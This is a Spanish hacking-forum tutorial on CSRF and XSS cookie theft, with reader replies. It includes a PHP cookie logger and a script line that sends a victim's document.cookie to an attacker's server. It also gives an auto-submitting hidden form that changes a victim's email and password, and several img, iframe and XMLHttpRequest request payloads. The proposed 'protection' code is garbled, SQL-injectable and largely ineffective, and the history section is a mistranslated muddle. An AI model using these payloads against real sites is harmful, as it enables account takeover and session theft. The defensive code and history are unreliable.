1.) Que es CSRF

Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo
Así Presiona este link para que te lleve a mi sitio
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.

2.) Quien descubrió la vulnerabilidad CSRF

En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.

Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...

3.) CSRF y Xss

Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.

Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.

El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…

4) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits


Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.

Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...

- ROBO DE COOKIES EN XSS

Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

Código: Seleccionar todo

[url ] o [img ] [/code ]
no filtre bien el contenido que se le asigne.

Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).

Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)
[code]
<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>

PD: Este code no es mio es de Chebyte. Pero esto es basico...

Bueno, le explicare el code para quienes no lo entiendan:

Código: Seleccionar todo

$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra
Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:

Código: Seleccionar todo

<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>


Y Tachan! tienes la cookie...



Ahora pasaremos a hablar del CSRF clasico:

- XSRF/CSRF Clasico

Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.

Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):

Código: Seleccionar todo

<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>


Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...

Tambien si al cambiar datos salga un link como este:

Código: Seleccionar todo

http://www.web.com/perfil.php?user=NOMBREUSUARIONUEVO&[email protected]&pass=minuevopass
Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:

Man vota por mi

AQUI



Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..

Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...

Mis saludos a:

SkillmaX, KuTer, _84kur10_, k4mus23, Jeferx, D4NB4R, Darki113r, ChEk0_Hack, DestruKci0oN, Xianur0, Zer0 Z0orG, Zer0-R00t, x_jeshua, ZH4RK, zonithack, Bashettzx, Crazyhacker16, krisium, tkdead, MaNditOo, loreValdy, wscalle1 y todos mis grandes amigos =P...

Saludos a Pandora's Box Team..

5.)Testeando vulnerabilidad CSRF y programas el code vulnerable

Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo:

Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:

Por ejemplo usando una imagen src.

Código: Seleccionar todo

<img src="http://Www.xD.com/?Comando">

Script
<script src="http://Www.xD.com/?Comando">

Casi siempre se usan los IFRAME

<iframe src="http://Www.xD.com/?Comando">
Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript

Código: Seleccionar todo

<script>
var foo = new Image(); var foo = new Image ();
foo.src = "http://Www.xD.com/?Comando";</script>
También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.

¿Cambiando datos de la victima?

Bueno este breve codigo es solo un pequeño ejemplo:

Código: Seleccionar todo

<script>
var post_data = 'name=value'; post_data var = 'nombre = valor';
var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();
xmlhttp.open("POST", 'http://www.xD.com/path/file.ext', true); xmlhttp.open ( "POST", "http://www.xD.com/path/file.ext ', true);
xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (
if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)
{ (
alert(xmlhttp.responseText); alert (xmlhttp.responseText);
} )
}; );
xmlhttp.send(post_data); xmlhttp.send (post_data);
</script> </ script>
Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...

¿A dónde se dirige esta petición?

Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?

7.) Sacando una conclusión a todo.


Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.

Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante…

8.) Como cuidar nuestra Web de este tipo de ataques

Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
‘Actualcontraseña’ Antes de seguir el código que pondré es sacado de la siguiente pagina De aquí

Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php…

Código: Seleccionar todo

<form method="POST" action="datos.php" name="datos">
          Usuario <input type="text" name="usuario">
          Email <input type="text" name="email">
          Contraseña <input type="text" name="contraseña">
          Email alternativo: <input type="text" name="emailalternativo">
      Contraseña Actual: <input type="text" name="actualcontraseña">
         <input type="submit" name="submit" value="cambiardatos">
     </form>

Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:

Código: Seleccionar todo

<?php

$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";

$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);

?>



En el archive datos.php usaremos lo siguiente:

<?

include('config.php');

     session_start();
     if(isset($_REQUEST['usuario']))
          $usuario = $_REQUEST['usuario'];
     else
          die("Rellene el campo Usuario");
     if(isset($_REQUEST['email']))
          $email = $_REQUEST['email];
     else 
          die("Rellene el campo email");
     if(isset($_REQUEST['contraseña']))
          $contraseña = $_REQUEST['contraseña];
     else 
          die("Rellene el campo Contraseña");
     if(isset($_REQUEST['emailalternativo']))
          $emailalternativo = $_REQUEST['emailalternativo];
     else 
          die("Falta el email alternativo");
    if(isset($_REQUEST['actualcontraseña']))
          $actualcontraseña = $_REQUEST['actualcontraseña];
     else 
          die("Especifique la contraseña");

if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";

}else{

$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{

    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
     
     ?>

Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:

Código: Seleccionar todo

CREATE TABLE 'myhosting_usuarios' (
  'id' int(11) NOT NULL auto_increment,
  'usuario' varchar(15) NOT NULL,
  'email' varchar(15) NOT NULL,
  'emailalternativo' varchar(15) NOT NULL,
  'contraseña' varchar(150) NOT NULL,
  'contraseñaa' varchar(150) NOT NULL,
  KEY 'id' ('id')
) ENGINE=MyISAM;

INSERT INTO 'myhosting_usuarios' VALUES (1, 'SecurityKill', '[email protected]', '[email protected]', 'mypass', 'mypass');


Tutorial Creado por: Zero - SkillmaX - MaZtoR.


Por una buena seguridad en tu web.


Saludos!
a estudiar se a dicho! gracias por el tuto amigos

edito: por petición del autor borro los mensajes para dejar el post limpito


SALUDOS!!
Soy un camaleón, en tu cama, leona ♪
Muy bueno, este ya me lo sabía, tambien puedes "rellenar" formularios web desde un socket, y así que también hay que poner captchas en los forms para protegerse de los ataques, también en el PHP que colocan para protegerse pues algunas cosas que le faltarían sería colocar un mysql_close() al final para no saturar la base de datos tu mismo, y quitar REQUEST cambiarlo por POST o GET dependiendo de lo que estes usando, ya que REQUEST te aceptaría todo tipo de variables, incluso podría poner en el navegador tuweb.com/perfil.php?nombre=loqueyoquiera y me lo aceptaría por eso mejor reemplazar REQUEST por POST o GET... Tambien son demasiadas condicionales IF, sería mejor usar un switch O colocar && para hacer un solo if y no tantos. Un saludo!
//mHmm..
Responder

Volver a “Auditoria Web”